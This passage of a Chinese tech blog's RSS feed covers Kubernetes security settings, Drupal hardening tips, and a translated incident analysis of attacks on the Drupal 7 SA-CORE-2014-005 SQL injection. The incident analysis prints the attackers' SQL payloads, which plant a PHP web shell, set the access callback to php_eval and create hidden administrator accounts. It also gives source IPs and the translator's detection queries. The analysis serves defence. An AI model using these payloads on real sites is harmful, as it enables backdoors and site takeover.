&lt;p&gt;例如下面的策略让 &lt;strong&gt;&amp;ldquo;Alice&amp;rdquo;&lt;/strong&gt; 能够从命名空间 &lt;strong&gt;&amp;ldquo;fronto&amp;rdquo;&lt;/strong&gt; 中读取 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{
  &amp;quot;apiVersion&amp;quot;: &amp;quot;abac.authorization.kubernetes.io/v1beta1&amp;quot;, 
  &amp;quot;kind&amp;quot;: &amp;quot;Policy&amp;quot;, 
  &amp;quot;spec&amp;quot;: {
    &amp;quot;user&amp;quot;: &amp;quot;alice&amp;quot;,
    &amp;quot;namespace&amp;quot;: &amp;quot;fronto&amp;quot;,
    &amp;quot;resource&amp;quot;: &amp;quot;pods&amp;quot;,
    &amp;quot;readonly&amp;quot;: true
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;设定资源配额&#34;&gt;设定资源配额&lt;/h2&gt;

&lt;p&gt;容器运行中如果没有资源限制，那么系统就可能处于 &lt;strong&gt;DoS&lt;/strong&gt; 或&lt;a href=&#34;https://en.wikipedia.org/wiki/Cloud_computing_issues#Performance_interference_and_noisy_neighbors&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;邻里不和&lt;/strong&gt;&lt;/a&gt;的情境之中。要降低或阻止这一风险，就需要设定资源配额。缺省情况下，所有的 Kubernetes 集群资源都可以不受限的访问 CPU 和内存。可以为命名空间创建配额策略，来限制 Pod 的 CPU 和内存消费。&lt;/p&gt;

&lt;p&gt;下面的例子是一个命名空间的资源配额定义，限制运行 Pod 数量为 4，CPU 的使用限制在 1-2 之间，内存使用在 1-2 G 之间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-resources
spec:
  hard:
    pods: &amp;quot;4&amp;quot;
    requests.cpu: &amp;quot;1&amp;quot;
    requests.memory: 1Gi
    limits.cpu: &amp;quot;2&amp;quot;
    limits.memory: 2Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;将资源配额指派给命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl create -f ./compute-resources.yaml --namespace=myspace
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;规划网络分区&#34;&gt;规划网络分区&lt;/h2&gt;

&lt;p&gt;在同一个 Kubernetes 集群上运行不同的应用，引入了一个风险就是应用之间的互相访问。要确保容器只能访问允许访问的范围，网络分区是很重要的。Kubernetes 中的一大挑战就是在 Pod、Service 以及容器之间的网络划分，造成这一问题的根本在于容器网络的动态分配过程，让容器可以跨越 Node 进行网络互访。&lt;/p&gt;

&lt;p&gt;Google Cloud Platform 用户收益于自动防火墙规则功能，能够阻止跨集群的通信。使用 SDN 或者防火墙能够达到类似的效果。Kuberntes &lt;a href=&#34;https://github.com/kubernetes/community/wiki/SIG-Network&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;Network SIG&lt;/strong&gt;&lt;/a&gt; 正在进行这方面的努力，目的是增强 Pod 之间的通信策略。新的网络策略 API 将会用于创建 Pod 之间的防火墙规则，限制容器应用的网络访问。&lt;/p&gt;

&lt;p&gt;下面的例子是一条网络策略，用于控制 &amp;ldquo;backend&amp;rdquo; Pod，只允许来自于 &amp;ldquo;frontend&amp;rdquo; Pod 的访问。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;POST /apis/net.alpha.kubernetes.io/v1alpha1/namespaces/tenant-a/networkpolicys
{
  &amp;quot;kind&amp;quot;: &amp;quot;NetworkPolicy&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;name&amp;quot;: &amp;quot;pol1&amp;quot;
  },
  &amp;quot;spec&amp;quot;: {
    &amp;quot;allowIncoming&amp;quot;: {
      &amp;quot;from&amp;quot;: [{
        &amp;quot;pods&amp;quot;: { &amp;quot;segment&amp;quot;: &amp;quot;frontend&amp;quot; } 
      }],
      &amp;quot;toPorts&amp;quot;: [{
        &amp;quot;port&amp;quot;: 80,
        &amp;quot;protocol&amp;quot;: &amp;quot;TCP&amp;quot; 
      }]
    },
    &amp;quot;podSelector&amp;quot;: { 
      &amp;quot;segment&amp;quot;: &amp;quot;backend&amp;quot; 
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;网络策略的更多信息可以阅读 &lt;a href=&#34;http://blog.kubernetes.io/2016/04/Kubernetes-Network-Policy-APIs.html&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;SIG-Networking: Kubernetes Network Policy APIs Coming in 1.3&lt;/strong&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;pod-和容器的安全上下文&#34;&gt;Pod 和容器的安全上下文&lt;/h2&gt;

&lt;p&gt;设计容器和 Pod 的时候，一定要配置 Pod、容器以及卷的安全上下文。安全上下文是部署 Yaml 中的一个属性，他控制了 pod/container/volume 的安全参数，下面列出一些重要的参数：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;安全上下文设置&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SecurityContext-&amp;gt;runAsNonRoot&lt;/td&gt;
&lt;td&gt;容器应该用非 root 用户运行&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SecurityContext-&amp;gt;Capabilities&lt;/td&gt;
&lt;td&gt;设置 Linux 分配给容器的性能&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;SecurityContext-&amp;gt;readOnlyRootFilesystem&lt;/td&gt;
&lt;td&gt;容器是否可以写入 root 文件系统&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;PodSecurityContext-&amp;gt;runAsNonRoot&lt;/td&gt;
&lt;td&gt;阻止 Pod 中的容器以 root 用户运行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;下面是一个带有安全上下文的 Pod 定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
  # specification of the pod’s containers
  # ...
  securityContext:
    readOnlyRootFilesystem: true
    runAsNonRoot: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;http://kubernetes.io/docs/api-reference/v1/definitions/#_v1_podsecuritycontext&#34; target=&#34;_blank&#34;&gt;参考&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果用特权形式（&lt;code&gt;--privileged&lt;/code&gt;）运行容器，可以用 &lt;code&gt;DenyEscalatingExec&lt;/code&gt; 控制。这一开关拒绝在特权容器上使用 Exec 和 Attach 命令。具体情况可以参考 &lt;a href=&#34;http://kubernetes.io/docs/admin/admission-controllers/&#34; target=&#34;_blank&#34;&gt;Admission 文档&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;记录日志&#34;&gt;记录日志&lt;/h2&gt;

&lt;p&gt;Kubernetes 支持集群级别的日志，集中收集日志到中央服务。当集群创建之后，STDOUT 和 STDERR 就能够被 Node 中的 Fluent 搜集起来，并汇总到 Google Stackdriver Logging 或者 Elasticsearch，并用 Kibana 进行查看。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;Kubernetes 为安全提供了很多特性。对这些特性进行学习和了解，才能够制定出符合应用需求的安全方案。&lt;/p&gt;

&lt;p&gt;我们建议实施文中提到的最佳实践，使用 Kubernetes 的动态配置能力，结合持续集成，无缝提高安全保障能力。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal SQL注入漏洞后的一周——黑客教了我们什么？</title>
      <link>/post/drupal-sql-injection-weeks-later/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-sql-injection-weeks-later/</guid>
      <description>&lt;p&gt;在10月15日，黑客们忙着跟进一个问题：如何利用Drupal 7的&lt;a href=&#34;https://www.drupal.org/SA-CORE-2014-005&#34; target=&#34;_blank&#34;&gt;SA-CORE-2014&amp;ndash;005&lt;/a&gt;漏洞进行SQL注入。一个星期过去了，攻击者们仍然在持续忙碌。Moshe Weizman&lt;a href=&#34;https://www.acquia.com/blog/shields&#34; target=&#34;_blank&#34;&gt;发文&lt;/a&gt;解释了我们如何在这一缺陷暴露的情况下保护客户的网站。在本文中，我们会看看近期对&lt;a href=&#34;https://www.acquia.com/products-services/acquia-cloud&#34; target=&#34;_blank&#34;&gt;Acquia Cloud&lt;/a&gt;中针对SQL注入缺陷的攻击的来龙去脉。&lt;/p&gt;

&lt;p&gt;本文的数据基于Acquia Cloud上托管的几万个网站中产出的大量日志，并经过了内部工具的整理和分析。所有本文中提及的时间都是美国东部标准时间。我们目前认为Acquia Cloud中的站点尚未被击破，所以我们只会描述一些入侵的尝试，不过外边的Drupal站点来说，运气可能就没那么好了。如果在阅读本文时你还没有对你的站点进行修补，也许下一分钟你的站点就已经被侵入了。&lt;/p&gt;

&lt;p&gt;#模式1：docroot中的后门&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：7785&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.16 4:09&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;在官方声明当天，很多用户在Drupal.org的论坛和IRC报告他们发现站点的docroot中发现了&lt;a href=&#34;https://gist.github.com/joshkoenig/f5485f3db8efdd98f184&#34; target=&#34;_blank&#34;&gt;Josh Koenig描述的后门&lt;/a&gt;。它在你的核心模块目录中创建随机文件，例如&lt;code&gt;modules/aggregator/dlov.php&lt;/code&gt;，这是一个允许攻击者运行PHP代码的后门，很多用户说他们的站点已经被打了补丁。黑客们利用后门给Drupal打补丁，大概是为了确认他们对站点的所有权，并防止其他黑客的进入。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES (dlov, &#39;&#39;, &#39;&#39;, dlov, &#39;file_put_contents&#39;, HEX)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我跟踪这个攻击，发现了一个俄罗斯IP &lt;code&gt;62.76.191.119&lt;/code&gt;。IRC上的其他人也确认他们被入侵的站点也是遭到了同一个IP的入侵。这个IP从10.16 3:00到10.17 13:00的一段时间里，连接我们的平台36786次，这些连接包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;在用户登录Form中，利用SQL注入漏洞执行上文提到的SQL语句。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多次到/dlov以及/?q=dlov的GET请求，用于在docroot中保存后门。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;更多的GET请求用于访问后门文件（modules/aggregator/dlov.php）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因为Acquia Cloud提供了SQL注入防范，所有的这些GET请求都返回了404，即使是第一个POST请求也没能突破这一防线。因为docroot是web server无法写入的，所以即使SQL注入能够执行，这一攻击对Acquia Cloud也是无法奏效的。&lt;/p&gt;

&lt;p&gt;下图展示了34个小时中针对不同站点的的7785次POST：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/c7d0c2a188bad6b280dadad1d64a473f.png&#34; alt=&#34;post diagram&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;译者注：用find [drupal_path]  -mtime -[day_count] -type f -print 列表指定天数内被修改的文件，应该可以检查站点是否符合本模式&lt;/em&gt;
#模式2：/user路径中的后门&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：732&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.16 7:38&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我在10月17日证实了这一模式后立即发表了&lt;a href=&#34;https://gist.github.com/scor/b566c0f4d94c5b012f6b&#34; target=&#34;_blank&#34;&gt;一篇文章&lt;/a&gt;。这一攻击启用了PHP模块，并更新&lt;code&gt;menu_router&lt;/code&gt;中&lt;code&gt;/user&lt;/code&gt;的&lt;code&gt;access_callback&lt;/code&gt;为&lt;code&gt;php_eval&lt;/code&gt;，这使得攻击者可以通过各种请求来执行任意PHP代码。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=HEX, access_callback=HEX WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (HEX, HEX);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这类攻击的长处在于，无需写入docroot，不过他在清除menu cache的时候同样暴露了。&lt;/p&gt;

&lt;p&gt;这类攻击并无特定IP特征，不过猜测可能来自于一群肉鸡。下面是一些我发现的IP：92.222.172.41, 199.27.76.34, 192.42.116.16, 199.27.76.30, 199.27.76.25, 162.247.72.7, 209.234.102.238, 85.25.103.48, 95.130.9.89。所有这些IP在我们的平台上都被标记为垃圾流量，最后四个IP是Tor IP：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/46bf3f6637b47f4cbc6d87f67882ed8c.png&#34; alt=&#34;tor ip&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;译者注：用&lt;code&gt;select * from menu_router where access_callback=&#39;php_eval&#39;&lt;/code&gt;应该可以检查该模式&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#模式3：在Body中创建一个PHP代码Block&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：24&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.17 9:17&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;攻击者创建一个自定义Block，格式为PHP代码，并在Block中插入以下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    &amp;lt;?php @eval($_POST[&#39;caodaoyoule&#39;]);?&amp;gt;

        insert into block(module,delta,theme,status,weight,region,custom,visibility,pages,title,cache) values (&#39;block&#39;,&#39;63353&#39;,(select substring_index(substring_index(value,&#39;&amp;quot;&#39;,&#39;2&#39;),&#39;&amp;quot;&#39;,-1) from variable where name=&#39;theme_default&#39;),1,0,&#39;footer&#39;,0,0,&#39;&#39;,&#39;&#39;,-1);insert into block_custom(bid,body,info,format) values (63353,HEX,&#39;nonono&#39;,&#39;php_code&#39;);insert into filter_format values (&#39;php_code&#39;,&#39;PHP_code&#39;,0,1,11);insert into filter values (&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_autop&#39;, 0, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_html&#39;, -10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_htmlcorrector&#39;, 10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_html_escape&#39;, -10, 0, HEX),(&#39;php_code&#39;, &#39;filter&#39;, &#39;filter_url&#39;, 0, 0, HEX),(&#39;php_code&#39;, &#39;php&#39;, &#39;php_code&#39;, 0, 1, HEX);update system set status=1,schema_version=0;delete from cache_bootstrap;delete from cache;delete from cache_menu;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;译者注：用查询&lt;code&gt;select * from block_custom where format=&#39;php_code&#39;&lt;/code&gt;，列出格式为PHP CODE的所有Block&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;#其他模式：复位管理用户名和密码，或者插入新的管理员用户&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;攻击次数：3000+&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;首次发现：10.15 20:20&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这个模式是最先出现的。&lt;/p&gt;

&lt;p&gt;下面这个查询对1号用户进行重命名，并修改了密码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    update users set name=&#39;jhuang&#39; , pass = &#39;HASH&#39; where uid = &#39;1&#39;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面的查询创建了一个新的用户，并给他一个巨大的uid，使之不会同现存用户冲突。角色ID为3，3是缺省的管理员角色编号。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    insert into {users} (uid,name,pass,status) values (333333,&#39;admin2&#39;,&#39;HASH&#39;,1);insert into {users_roles} (uid,rid) values(333333,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;主要的发起IP是：118.113.158.7, 103.242.1.193, 118.113.158.7, 125.70.172.51, 222.211.211.65, 125.70.173.81, 103.242.1.193&lt;/p&gt;

&lt;p&gt;另外一个类似的查询是：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    INSERT INTO `users` VALUES (9999,HASH,&#39;test@test.com&#39;,&#39;&#39;,&#39;&#39;,NULL,1413423527,1413426879,1413426953,1,&#39;Africa/Abidjan&#39;,&#39;&#39;,0,&#39;test@test.com&#39;,&#39;b:0;&#39;);insert into `users_roles` values (9999,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个查询很有趣：攻击者试图把自己的IP替换为Google DNS的8.8.8.8。&lt;/p&gt;

&lt;p&gt;下面的查询查找最大UID用于接下来的写入动作：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name=&#39;phantom&#39; , pass = &#39;HASH&#39;;INSERT INTO users_roles set uid=@a,rid=3;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;#结论&lt;/p&gt;

&lt;p&gt;这些问题给我们一个机会去学习黑客们面对未关闭漏洞的行为方式。攻击者们在漏洞发现后的几个小时内就开始攻击。我们不确定攻击者需要掌握多少Drupal相关的知识，但是现有情况表明，一点点就足以致命。如果你目前还没有对你的站点进行修补，而且没有托管在Acquia这样的平台上，几乎可以肯定你已经被攻击了。&lt;/p&gt;

&lt;p&gt;在对攻击的分析中，我们认为攻击者并不只是针对Drupal 7：我们发现攻击者同样瞄准了Drupal 5和6的站点。99%的被攻击域都是极少被攻击的开发站点或是无用站点。我们没有发现尝试修改内容或停掉网站的攻击，攻击者们似乎只乐于安装后门，获取控制权，并隐藏入侵迹象。本文中多数查询都是节选。被去掉的部分都是MySQL自然支持的&lt;a href=&#34;https://dev.mysql.com/doc/refman/5.0/en/hexadecimal-literals.html&#34; target=&#34;_blank&#34;&gt;十六进制&lt;/a&gt;。黑客们似乎偏爱用这种方式来混淆危险的PHP操作，并骗过可能的检测。&lt;/p&gt;

&lt;p&gt;要确定你的站点是否被侵入，可参考&lt;a href=&#34;https://www.drupal.org/node/2357241&#34; target=&#34;_blank&#34;&gt;官方的FAQ&lt;/a&gt;，并阅读&lt;a href=&#34;https://github.com/greggles/cracking-drupal/blob/master/after-an-exploit.md&#34; target=&#34;_blank&#34;&gt;《站点被黑怎么办？》&lt;/a&gt;。另外还有个有用的流程图：&lt;a href=&#34;http://drupal.geek.nz/blog/your-drupal-websites-backdoor&#34; target=&#34;_blank&#34;&gt;Your Drupal website has a backdoor&lt;/a&gt;。值得注意的是，即使你打了7.32补丁，也可能在打补丁之前被入侵，可以参看&lt;a href=&#34;https://www.drupal.org/node/2362315&#34; target=&#34;_blank&#34;&gt;reported a hack on the zen theme on this site&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;还有一个问题是，这次SQL注入缺陷是否在login form之外被利用。目前我们还没有发现这种情况，我们的客户以及Drupal社区也没有报告此类攻击。这不意味着不存在这种风险，说不定已经存在这种攻击。我们相信&lt;a href=&#34;https://www.acquia.com/blog/shields&#34; target=&#34;_blank&#34;&gt;we protected all our customers from this attack&lt;/a&gt;能够防范类似的攻击，当然，这种推测只能靠时间来证明。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Security Kit模块</title>
      <link>/post/drupal-security-kit-module/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-security-kit-module/</guid>
      <description>&lt;p&gt;该模块为Drupal提供了大量的安全加固选项，能降低Web应用被攻击的风险。&lt;/p&gt;

&lt;p&gt;##跨域脚本&lt;/p&gt;

&lt;p&gt;通过IE和Firefox的X-Content-Security-Policy、Chrome和Safari的X-WebKit-CSP以及Content-Security-Policy（官方名称）的HTTP响应头，来实现内容安全策略。其中包含配置页面，并且对违反CSP的访问记录到Watchdog。&lt;/p&gt;

&lt;p&gt;Internet Explorer/Apple Safari/Google Chrome提供了内置的&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC&#34; target=&#34;_blank&#34;&gt;XSS&lt;/a&gt;过滤功能，利用XSS-Protection这一HTTP响应头来进行控制浏览器的这些功能。&lt;/p&gt;

&lt;p&gt;修复Drupal 6的&lt;a href=&#34;http://drupal.org/node/803430&#34; target=&#34;_blank&#34;&gt;上传问题&lt;/a&gt;，Drupal 7的上传功能合并到了FileField中，所有D7版本没有这一选项。&lt;/p&gt;

&lt;p&gt;在HTTP响应头中添加X-Content-Type-Options: nosniff，阻止服务器提供错误的MIME类型和浏览器的&lt;a href=&#34;http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx&#34; target=&#34;_blank&#34;&gt;upsniff&lt;/a&gt;行为。&lt;/p&gt;

&lt;p&gt;##跨站点请求伪造&lt;/p&gt;

&lt;p&gt;在HTTP请求头中加入&lt;a href=&#34;http://tools.ietf.org/id/draft-abarth-origin-03.html&#34; target=&#34;_blank&#34;&gt;Origin&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##点击劫持
&lt;a href=&#34;http://en.wikipedia.org/wiki/Clickjacking&#34; target=&#34;_blank&#34;&gt;参考资料&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;实现了X-Frame-Options的HTTP响应头。&lt;/p&gt;

&lt;p&gt;结合JavaScript + CSS + Noscript，用于提供禁止JavaScript的自定义消息提示。&lt;/p&gt;

&lt;p&gt;##SSL/TLS&lt;/p&gt;

&lt;p&gt;实现了&lt;a href=&#34;http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&#34; target=&#34;_blank&#34;&gt;HTTP Strict Transport Security头&lt;/a&gt;（强制要求使用https &amp;ndash;译者注），用于防止&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB&#34; target=&#34;_blank&#34;&gt;中间人攻击&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;##杂项&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.w3.org/TR/from-origin/#introduction&#34; target=&#34;_blank&#34;&gt;From-Origin&lt;/a&gt;响应头（用于保障页面中嵌入的资源来源于受控范围）。&lt;/p&gt;

&lt;p&gt;##文档&lt;/p&gt;

&lt;p&gt;所有必要的文档和例子都可以在该模块的配置页面中找到，你还可以在&lt;a href=&#34;http://www.browserscope.org/?category=security&#34; target=&#34;_blank&#34;&gt;http://www.browserscope.org/?category=security&lt;/a&gt;中查看浏览器当前的支持状态。&lt;/p&gt;

&lt;p&gt;##已知问题&lt;/p&gt;

&lt;p&gt;CSP报告在Chrome浏览器中不可用，Chrome在Menu返回403的情况下不会设置Cookie。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 基础安全实战</title>
      <link>/post/drupal-basic-security/</link>
      <pubDate>Tue, 11 Nov 2014 09:02:27 +0800</pubDate>
      <guid>/post/drupal-basic-security/</guid>
      <description>

&lt;p&gt;最近翻译了一篇老外写的全站SSL介绍，感觉水得一塌糊涂，恰好前一段时间被合作方的安全团队在安全方面骚扰很久，涉及的问题范围较广，也比较全面，这里做个总结，也给大家一个参考。&lt;/p&gt;

&lt;p&gt;下面行文主要从 Issues List 里面提取，顺序上可能稍显跳跃，因为是工程案例，所以偏重于见招拆招的解决问题，而较少提供问题的剖析，不过尽量会提供引文供读者延伸阅读。&lt;/p&gt;

&lt;h2 id=&#34;sslv3-enabled&#34;&gt;SSLv3 Enabled&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://www.openssl.org/~bodo/ssl-poodle.pdf&#34; target=&#34;_blank&#34;&gt;Openssl对于ssl poodle问题的说明&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-poodle-sslv3-vulnerability&#34; target=&#34;_blank&#34;&gt;Digital Ocean对这个问题的说明和对策&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Apache Server的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    SSLProtocol all -SSLv3 -SSLv2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx Server的配置&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查方法：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    openssl s_client -connect [host_name]:[port_number] -ssl3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回内容应有一行类似内容&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    CONNECTED(00000003)
    55339:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;https访问&#34;&gt;HTTPS访问&lt;/h2&gt;

&lt;p&gt;这个很简单，建议使用全站 HTTPS 的方案来做。&lt;/p&gt;

&lt;p&gt;需要注意的是，自颁发的证书基本相当于是无效的。配置过程中，要注意证书链这个概念。&lt;/p&gt;

&lt;p&gt;非常好的一篇数字证书入门：&lt;a href=&#34;http://www.cnblogs.com/JeffreySun/archive/2010/06/24/1627247.html&#34; target=&#34;_blank&#34;&gt;《数字证书原理》&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;提供两个检查 https 配置情况的在线工具：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.networking4all.com/en/support/tools/site+check&#34; target=&#34;_blank&#34;&gt;http://www.networking4all.com/en/support/tools/site+check&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.sslshopper.com/ssl-checker.html&#34; target=&#34;_blank&#34;&gt;https://www.sslshopper.com/ssl-checker.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;另外还可以利用 &lt;a href=&#34;https://www.drupal.org/project/seckit&#34; target=&#34;_blank&#34;&gt;Security Kit 模块&lt;/a&gt;启用 &lt;a href=&#34;http://zh.wikipedia.org/wiki/HTTP%E4%B8%A5%E6%A0%BC%E4%BC%A0%E8%BE%93%E5%AE%89%E5%85%A8&#34; target=&#34;_blank&#34;&gt;HSTS&lt;/a&gt;。强制浏览器使用 HTTPS 通信。&lt;/p&gt;

&lt;h2 id=&#34;input-validation&#34;&gt;Input Validation&lt;/h2&gt;

&lt;p&gt;在工期较紧，又包含大量自开发模块的项目中，经常会出现这种问题，缺乏对 Form 输入的基本验证。&lt;/p&gt;

&lt;h2 id=&#34;flood-control&#34;&gt;Flood Control&lt;/h2&gt;

&lt;p&gt;Drupal对登陆行为自带了 Flood Control 用于防止暴力破解。但是这部分涉及的系统变量和 Ban List 都属于隐藏内容，无法直接操作，可以通过 &lt;a href=&#34;https://www.drupal.org/project/flood_control&#34; target=&#34;_blank&#34;&gt;Flood control&lt;/a&gt;模块对登陆行为进行控制。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/fbip&#34; target=&#34;_blank&#34;&gt;fbip&lt;/a&gt; 模块据说更进一步的提供了对所有 Form 的 Flood Control，笔者目前还没有实测。&lt;/p&gt;

&lt;h2 id=&#34;密码策略&#34;&gt;密码策略&lt;/h2&gt;

&lt;p&gt;可以通过 &lt;a href=&#34;https://www.drupal.org/project/password_policy&#34; target=&#34;_blank&#34;&gt;Password policy&lt;/a&gt; 模块设定密码的复杂度策略。&lt;/p&gt;

&lt;h2 id=&#34;php-错误信息&#34;&gt;PHP 错误信息&lt;/h2&gt;

&lt;p&gt;为防止站点出错时，泄露服务器信息，可以在 &lt;code&gt;admin/config/development/logging&lt;/code&gt; 下选择None来禁止错误信息的显示。&lt;/p&gt;

&lt;h2 id=&#34;自动完成&#34;&gt;自动完成&lt;/h2&gt;

&lt;p&gt;多数时候，这一特性方便了用户，但在多个用户使用同一终端的情况下，有可能造成信息泄露，对于HTML5浏览器，可以写一个 &lt;code&gt;form_alter&lt;/code&gt;，禁止指定或全部 Form 的自动完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function auto_complete_off_form_alter(&amp;amp;$form) {
    $form[&#39;#attributes&#39;][&#39;autocomplete&#39;] = &#39;off&#39;;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;click-jacking&#34;&gt;Click Jacking&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://drops.wooyun.org/papers/104&#34; target=&#34;_blank&#34;&gt;Wooyun 的介绍文章&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;文中也写到  &lt;code&gt;X-FRAME-OPTIONS&lt;/code&gt;这一 HTTP 头能够有效防御这一攻击&lt;/p&gt;

&lt;p&gt;前文提到的 Security Kit 即可设置。&lt;/p&gt;

&lt;h2 id=&#34;trace-method&#34;&gt;Trace Method&lt;/h2&gt;

